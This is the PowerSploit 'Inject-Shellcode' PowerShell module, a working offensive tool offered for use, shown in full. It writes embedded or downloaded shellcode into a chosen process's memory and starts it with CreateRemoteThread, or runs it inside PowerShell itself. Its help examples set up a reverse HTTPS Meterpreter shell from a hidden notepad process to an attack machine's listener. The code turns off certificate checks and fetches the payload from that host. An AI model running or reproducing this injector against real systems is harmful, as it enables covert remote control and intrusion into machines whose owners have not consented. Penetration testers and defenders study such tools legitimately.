457 lines
48 KiB
PowerShell
457 lines
48 KiB
PowerShell
function Inject-Shellcode {
|
||
|
||
<#
|
||
.Synopsis
|
||
|
||
PowerSploit Module - Inject-Shellcode
|
||
Author: Matthew Graeber (@mattifestation)
|
||
License: GNU GPL v2
|
||
|
||
.Description
|
||
|
||
Inject-Shellcode injects shellcode into the process ID of your choosing or within PowerShell locally.
|
||
|
||
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
|
||
|
||
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your
|
||
shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
|
||
|
||
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
|
||
|
||
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode.
|
||
It's entirely unnecessary.
|
||
|
||
.Parameter ProcessID
|
||
|
||
Process ID of the process you want to inject shellcode into.
|
||
|
||
.Parameter Remote
|
||
|
||
Indicates that you want to inject into a remote process.
|
||
|
||
.Parameter Local
|
||
|
||
Indicates that you want to inject within PowerShell.
|
||
|
||
.Parameter Meterpreter_Reverse_Http
|
||
|
||
Establish a reverse meterpreter shell over HTTP. Note: This will only work in 32-bit PowerShell.
|
||
|
||
.Parameter Meterpreter_Reverse_Https
|
||
|
||
Establish a reverse meterpreter shell over HTTPS. Note: This will only work in 32-bit PowerShell.
|
||
|
||
.Parameter Lhost
|
||
|
||
Specifies the IP address of the attack machine waiting to receive the reverse shell
|
||
|
||
.Parameter Lport
|
||
|
||
Specifies the port of the attack machine waiting to receive the reverse shell
|
||
|
||
.Example
|
||
|
||
PS> Inject-Shellcode -Remote 4274
|
||
|
||
Description
|
||
-----------
|
||
Inject shellcode into process ID 4274.
|
||
|
||
.Example
|
||
|
||
PS> Inject-Shellcode -Local
|
||
|
||
Description
|
||
-----------
|
||
Inject shellcode into the running instance of PowerShell.
|
||
|
||
.Example
|
||
|
||
PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
|
||
PS> $Proc = Get-Process notepad
|
||
PS> Inject-Shellcode -Remote -ProcessId $Proc.Id -Meterpreter_Reverse_Https -Lhost 192.168.30.129 -Lport 443 -Verbose
|
||
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
|
||
VERBOSE: Injecting shellcode into PID: 4004
|
||
VERBOSE: Injecting into a Wow64 process.
|
||
VERBOSE: Using 32-bit shellcode.
|
||
VERBOSE: Shellcode memory reserved at 0x03BE0000
|
||
VERBOSE: Emitting 32-bit assembly call stub.
|
||
VERBOSE: Thread call stub memory reserved at 0x001B0000
|
||
VERBOSE: Shellcode injection complete!
|
||
|
||
Description
|
||
-----------
|
||
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up
|
||
with the following options:
|
||
|
||
Payload options (windows/meterpreter/reverse_https):
|
||
|
||
Name Current Setting Required Description
|
||
---- --------------- -------- -----------
|
||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||
LHOST 192.168.30.129 yes The local listener hostname
|
||
LPORT 443 yes The local listener port
|
||
|
||
.Example
|
||
|
||
PS> Inject-Shellcode -Local -Meterpreter_Reverse_Http -Lhost 192.168.30.129 -Lport 80
|
||
|
||
Description
|
||
-----------
|
||
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up
|
||
with the following options:
|
||
|
||
Payload options (windows/meterpreter/reverse_http):
|
||
|
||
Name Current Setting Required Description
|
||
---- --------------- -------- -----------
|
||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||
LHOST 192.168.30.129 yes The local listener hostname
|
||
LPORT 80 yes The local listener port
|
||
|
||
.Notes
|
||
|
||
Use the '-Verbose' option to print detailed information.
|
||
|
||
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables.
|
||
|
||
.Link
|
||
|
||
My blog: http://www.exploit-monday.com
|
||
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
|
||
#>
|
||
|
||
[CmdletBinding(DefaultParameterSetName = '1')] Param (
|
||
[Parameter(Position = 0)] [String] $ProcessID,
|
||
[Parameter()] [Switch] $Remote = $false,
|
||
[Parameter()] [Switch] $Local = $true,
|
||
[Parameter(Mandatory = $True, ParameterSetName = '2')] [Switch] $Meterpreter_Reverse_Http,
|
||
[Parameter(Mandatory = $True, ParameterSetName = '3')] [Switch] $Meterpreter_Reverse_Https,
|
||
[Parameter(Mandatory = $True, ParameterSetName = '2')]
|
||
[Parameter(Mandatory = $True, ParameterSetName = '3')] [Int] $Lport = 8443,
|
||
[Parameter(Mandatory = $True, ParameterSetName = '2')]
|
||
[Parameter(Mandatory = $True, ParameterSetName = '3')] [String] $Lhost = '127.0.0.1', # Defaults to localhost in case a mistake is made
|
||
[Parameter(ParameterSetName = '2')]
|
||
[Parameter(ParameterSetName = '3')] [String] $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
|
||
)
|
||
|
||
if ($Remote -and !$ProcessID) {
|
||
Write-Warning "You must specify a process ID!"
|
||
return
|
||
}
|
||
|
||
try {
|
||
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
|
||
} catch [System.Management.Automation.ActionPreferenceStopException] {
|
||
Write-Warning "Process does not exist!"
|
||
return
|
||
}
|
||
|
||
function Get-DelegateType
|
||
{
|
||
Param (
|
||
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
|
||
[Parameter(Position = 1)] [Type] $ReturnType = [Void]
|
||
)
|
||
|
||
$Domain = [AppDomain]::CurrentDomain
|
||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||
return $TypeBuilder.CreateType()
|
||
}
|
||
|
||
function Get-ProcAddress
|
||
{
|
||
Param (
|
||
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
|
||
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
|
||
)
|
||
|
||
# Get a reference to System.dll in the GAC
|
||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||
# Get a handle to the module specified
|
||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||
$tmpPtr = New-Object IntPtr
|
||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||
# Return the address of the function
|
||
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||
}
|
||
|
||
function Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) {
|
||
|
||
$IntSizePtr = $Architecture / 8
|
||
|
||
function ConvertTo-LittleEndian ([IntPtr] $Address) {
|
||
$LittleEndianByteArray = New-Object Byte[](0)
|
||
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
|
||
[System.Array]::Reverse($LittleEndianByteArray)
|
||
return $LittleEndianByteArray
|
||
}
|
||
|
||
$CallStub = New-Object Byte[](0)
|
||
|
||
if ($IntSizePtr -eq 8) {
|
||
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
|
||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
||
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
|
||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||
} else {
|
||
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
|
||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
||
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
|
||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||
}
|
||
|
||
return $CallStub
|
||
}
|
||
|
||
function Inject-RemoteShellcode ([Int] $ProcessID)
|
||
{
|
||
|
||
# Open a handle to the process you want to inject into
|
||
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
|
||
if (!$hProcess) { Write-Warning 'Unable to open process handle.'; return }
|
||
|
||
$IsWow64 = $false
|
||
|
||
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
|
||
{
|
||
# Determine is the process specified is 32 or 64 bit
|
||
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
|
||
if ((!$IsWow64) -and $PowerShell32bit) {
|
||
Write-Warning 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'; return
|
||
} elseif ($IsWow64){
|
||
if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
|
||
$Shellcode = $Shellcode32
|
||
Write-Verbose 'Injecting into a Wow64 process.'
|
||
Write-Verbose 'Using 32-bit shellcode.'
|
||
} else {
|
||
if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return }
|
||
Write-Verbose 'Using 64-bit shellcode.'
|
||
$Shellcode = $Shellcode64
|
||
}
|
||
} else {
|
||
if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
|
||
$Shellcode = $Shellcode32
|
||
}
|
||
|
||
# Reserve and commit enough memory in remote process to hold the shellcode
|
||
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||
if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate shellcode memory in remote process.'; return }
|
||
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||
|
||
# Copy shellcode into the previously allocated memory
|
||
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
|
||
|
||
# Get address of ExitThread function
|
||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||
|
||
if ($IsWow64) {
|
||
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
|
||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||
} else {
|
||
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
|
||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||
}
|
||
|
||
# Allocate inline assembly stub
|
||
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||
if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate thread call stub memory in remote process.'; return }
|
||
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||
|
||
# Write 32-bit assembly stub to remote process memory space
|
||
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
|
||
|
||
# Execute shellcode as a remote thread
|
||
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
||
if (!$ThreadHandle) { Write-Warning 'Unable to launch remote thread.'; return } # Error launching thread
|
||
|
||
# Close process handle
|
||
$CloseHandle.Invoke($hProcess) | Out-Null
|
||
|
||
Write-Verbose 'Shellcode injection complete!'
|
||
}
|
||
|
||
function Inject-LocalShellcode
|
||
{
|
||
if ($PowerShell32bit) {
|
||
if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
|
||
$Shellcode = $Shellcode32
|
||
Write-Verbose 'Using 32-bit shellcode.'
|
||
} else {
|
||
if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return }
|
||
$Shellcode = $Shellcode64
|
||
Write-Verbose 'Using 64-bit shellcode.'
|
||
}
|
||
|
||
# Allocate RWX memory for the shellcode
|
||
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||
if (!$BaseAddress) { Write-Warning 'Unable to allocate shellcode memory.'; return }
|
||
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||
|
||
# Copy shellcode to RWX buffer
|
||
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
|
||
|
||
# Get address of ExitThread function
|
||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||
|
||
if ($PowerShell32bit) {
|
||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
|
||
Write-Verbose 'Emitting 32-bit shellcode.'
|
||
} else {
|
||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
|
||
Write-Verbose 'Emitting 64-bit shellcode.'
|
||
}
|
||
|
||
# Allocate RWX memory for the thread call stub
|
||
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||
if (!$BaseAddress) { Write-Warning 'Unable to allocate thread call stub memory.'; return }
|
||
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||
|
||
# Copy call stub to RWX buffer
|
||
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
|
||
|
||
# Launch shellcode in it's own thread
|
||
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
|
||
if (!$ThreadHandle) { Write-Warning 'Unable to launch thread.'; return } # Error launching thread
|
||
|
||
# Wait for shellcode thread to terminate
|
||
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
|
||
|
||
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||
|
||
Write-Verbose 'Shellcode injection complete!'
|
||
}
|
||
|
||
$64bitCPU = $true
|
||
|
||
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
|
||
if ($IsWow64ProcessAddr) {
|
||
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
||
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
||
} else {
|
||
$64bitCPU = $false
|
||
}
|
||
|
||
if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false }
|
||
|
||
if ($Meterpreter_Reverse_Http -or $Meterpreter_Reverse_Https) {
|
||
if (!$PowerShell32bit) {
|
||
Write-Warning 'The meterpreter reverse http payload is only compatible with 32-bit PowerShell'
|
||
return
|
||
}
|
||
|
||
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
|
||
if ($Meterpreter_Reverse_Https) { $SSL = 's'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } }
|
||
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
|
||
Write-Verbose "Requesting meterpreter payload from $Request"
|
||
$Uri = New-Object Uri($Request)
|
||
$WebClient = New-Object System.Net.WebClient
|
||
$WebClient.Headers.Add('user-agent', "$UserAgent")
|
||
try {
|
||
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
|
||
[Byte[]] $Shellcode64 = $Shellcode32
|
||
} catch {
|
||
Write-Warning "Unable to connect to $Request"
|
||
return
|
||
}
|
||
} else {
|
||
# Pop a calc... or whatever shellcode you decide to place in here
|
||
# Insert your shellcode here in the for 0xXX,0xXX,...
|
||
# 32-bit payload
|
||
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
|
||
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
|
||
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
|
||
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
|
||
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
|
||
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
|
||
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
|
||
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
|
||
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
|
||
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
|
||
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
|
||
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
|
||
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
|
||
0x61,0x6c,0x63,0x00)
|
||
|
||
# 64-bit payload
|
||
# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
|
||
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
|
||
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
|
||
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
|
||
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
|
||
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
|
||
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
|
||
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
|
||
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
|
||
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
|
||
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
|
||
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
|
||
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
|
||
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
|
||
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
|
||
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
|
||
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
|
||
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
|
||
}
|
||
|
||
if ($Remote) {
|
||
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
|
||
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
|
||
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
|
||
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
|
||
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
|
||
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
|
||
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
|
||
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
||
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
|
||
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
|
||
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
|
||
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
|
||
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
|
||
|
||
Write-Verbose "Injecting shellcode into PID: $ProcessId"
|
||
Inject-RemoteShellcode $ProcessId
|
||
|
||
} else {
|
||
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
|
||
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
|
||
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
|
||
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
|
||
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
|
||
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
|
||
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
|
||
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
|
||
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
|
||
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
|
||
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
|
||
|
||
Write-Verbose "Injecting shellcode into PowerShell"
|
||
Inject-LocalShellcode
|
||
|
||
}
|
||
|
||
} |